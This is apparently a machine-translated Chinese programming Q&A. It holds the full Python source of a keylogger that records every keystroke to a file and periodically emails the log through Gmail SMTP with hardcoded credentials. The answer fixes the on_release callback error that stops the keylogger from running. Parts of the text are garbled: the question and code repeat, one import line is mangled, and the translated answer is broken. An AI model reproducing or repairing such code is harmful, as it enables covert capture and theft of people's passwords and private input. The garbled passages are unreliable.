Python 你好,我的代码有问题,我该怎么做?
我的代码有问题,我该怎么做? 键盘回调有什么问题Python 你好,我的代码有问题,我该怎么做?,python,keylogger,Python,Keylogger,我的代码有问题,我该怎么做? 键盘回调有什么问题 > import keyboard > import smtplib from threading > import Semaphore, Timer > > REPORT_TIME = 1200 > EMAIL_ADDRESS = "mail95069a@gmail.com" > EMAIL_PASSWORD = "password123" >
> import keyboard
> import smtplib from threading
> import Semaphore, Timer
>
> REPORT_TIME = 1200
> EMAIL_ADDRESS = "mail95069a@gmail.com"
> EMAIL_PASSWORD = "password123"
>
> class Keylogger:
> def __init__(self, interval):
> self.interval = interval
> self.log = ""
> self.semaphore = Semaphore(0)
>
> def keyboard_callback(self, event):
> name = event.name
> if len(name) > 1:
> if name == "space":
> name = " "
> elif name == "enter":
> name = "[ENTER]\n"
> elif name == "decimal":
> name = "."
> else:
> name = name.replace(" ", "_")
> name = f"[{name.upper()}]"
>
> self.log += name
> output = open("output.txt", "w+")
> output.write(self.log)
>
> def send_gmail(self, email, password, message):
> server = smtplib.SMTP(host="smtp.gmail.com", port=587)
> server.starttls()
> server.login(email, password)
> server.send_gmail(email, email, message)
> server.quit()
>
> def report(self):
> if self.log:
> self.send_gmail(EMAIL_ADDRESS, EMAIL_PASSWORD, self.log)
> self.log = ""
> Timer(interval=self.interval, function=self.report).start()
>
> def start(self):
> keyboard.on_release(keyboard_callback=self.keyboard_callback)
> self.report()
> self.semaphore.acquire()
>
>
> if __name__ == "__main__":
> keylogger = Keylogger(interval=REPORT_TIME)
> keylogger.start()
回溯最近一次呼叫上次:
进程已完成,退出代码为1
文件C:/Users/Keylogger.py,第58行,在
keylogger.start()
文件C:/Users/Keylogger.py,第51行,在开始处
keyboard.on_release(keyboard_callback=self.keyboard_callback)
TypeError: on_release() got an unexpected keyword argument 'keyboard_callback'
on_release的函数定义是否表示它接受关键字参数?只需使用函数名即可指定键盘回调。i、 e.打开释放self.keyboard\u回调
...
def start(self):
keyboard.on_release(callback=self.keyboard_callback)
self.report()
self.semaphore.acquire()
...